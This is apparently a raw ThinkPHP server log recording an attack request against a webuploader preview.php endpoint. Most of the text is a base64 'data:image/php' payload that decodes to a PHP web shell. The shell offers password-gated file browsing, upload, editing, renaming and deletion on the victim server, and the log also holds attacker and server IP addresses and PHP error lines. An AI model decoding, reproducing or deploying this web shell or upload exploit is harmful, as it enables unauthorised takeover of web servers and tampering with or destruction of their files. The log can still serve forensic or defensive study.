lsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:09+08:00 ] 119.42.146.234 POST 59.110.137.245/library/webuploader/0.1.15/server/preview.php [运行时间:0.003667s] [吞吐率:272.69req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBB